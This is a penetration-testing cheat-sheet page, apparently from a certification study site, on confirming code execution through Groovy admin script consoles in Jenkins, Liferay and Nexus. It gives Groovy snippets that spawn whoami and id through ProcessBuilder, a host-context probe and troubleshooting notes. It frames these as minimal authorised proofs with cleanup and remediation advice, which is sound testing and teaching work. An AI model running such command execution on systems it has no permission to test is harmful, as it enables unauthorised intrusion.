PWN^:Exploitation

Groovy

Understand server-side scripting consoles in Jenkins, Liferay and Nexus and verify the execution context.

intermediateupdated 2026-10-12Groovy · Jenkins · Liferay · Nexus

Groovy

Groovy is a JVM language, not an exploit by itself. An administrative scripting console can execute trusted code as the application service. Builder and Jeeves use Jenkins; the report uses Liferay’s Server Administrator script panel and Nexus administrative scripts.

Establish access and context

Identify the product, the specific script permission and the host running the application. A web administrator may have script access without being an operating-system administrator. A disabled console or restricted script role changes the attack path.

Use a small proof

Paste into a permitted Groovy script console:

println 'lab-script-proof'
println System.getProperty('user.name')
println System.getProperty('os.name')
println System.getProperty('user.dir')

Then, where process execution is the agreed proof:

def process = new ProcessBuilder('whoami').redirectErrorStream(true).start()
println process.inputStream.getText('UTF-8')
println "exit=" + process.waitFor()

ProcessBuilder receives argument strings directly; shell metacharacters are not automatically interpreted. Windows and Linux commands and executable paths differ.

Success: the server returns the marker and process identity. Record where execution occurred: controller, application host, container or agent. A failed callback could be a routing issue even when the local marker proves code execution. Remove saved test scripts and restrict scripting roles and the application’s OS privileges.

Identify where a script will run

SurfaceExecution context to establish
Jenkins controller Script ConsoleController JVM and controller service account
Jenkins agent Script ConsoleSelected agent JVM and agent service account
Jenkins Pipeline stepAgent/workspace and sandbox/approval policy can differ
Liferay administrative scriptingPortal JVM, script language and assigned administrator role
Nexus administrative script APIInstalled version, scripting availability and exact script privilege

Do not transfer a Jenkins URL or API recipe to another product. A product can expose Groovy while restricting the classes or operations available to the caller.

A richer context probe without filesystem changes

println "user=" + System.getProperty('user.name')
println "os=" + System.getProperty('os.name')
println "java=" + System.getProperty('java.version')
println "cwd=" + System.getProperty('user.dir')
println "host=" + java.net.InetAddress.getLocalHost().getHostName()

The host lookup can fail in a misconfigured container; the earlier lines still provide useful evidence. Java’s user.name is a lead; an operating-system identity command provides a stronger check of the spawned process.

Capture output without pipe deadlocks

def windows = System.getProperty('os.name').toLowerCase().contains('windows')
def argv = windows ? ['cmd.exe', '/c', 'whoami'] : ['/usr/bin/id']
def p = new ProcessBuilder(argv).start()
def stdout = new StringBuffer()
def stderr = new StringBuffer()
p.consumeProcessOutput(stdout, stderr)
p.waitForOrKill(5000)
println "stdout:\n${stdout}"
println "stderr:\n${stderr}"
println "exit=${p.exitValue()}"

This uses Groovy’s process helpers to drain both streams and bound execution to five seconds. Confirm that these helpers are allowed by the console’s class policy. For a long-running application process, a timeout can terminate the child; use a short identity command for this proof.

Why quoting behaves differently

new ProcessBuilder('/usr/bin/id') launches an executable. new ProcessBuilder('/bin/sh', '-c', 'id') explicitly invokes a shell. Redirects, pipes and && have meaning only when a shell interprets them. With argument arrays, each list element is an argument, so filenames with spaces do not need an extra layer of shell quoting.

Troubleshooting

ResultLikely cause
MissingMethodExceptionGroovy/helper version or restricted API
Process start reports file not foundWrong OS or executable path; PATH differs from your login shell
Marker prints but process execution is deniedScript execution works; child-process policy blocks the next boundary
Script returns no outputChild still running, wrong output stream or exception hidden by UI
Callback fails after id succeedsNetwork route/listener issue; local execution was already proved
Jenkins output is from the wrong hostController versus selected agent console

Keep the finding specific

Record product/version, console or script API, role used, selected host, JVM details and process identity. Administrative scripting is often an intended capability; the security issue may be excessive role assignment or an overprivileged service account. Remove saved scripts, test files and background processes created by later testing. See SSH Tunneling when the service is reachable only through a pivot.

How attacks work. Examples use fictional lab values; replace placeholders only with values from the system you are testing.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.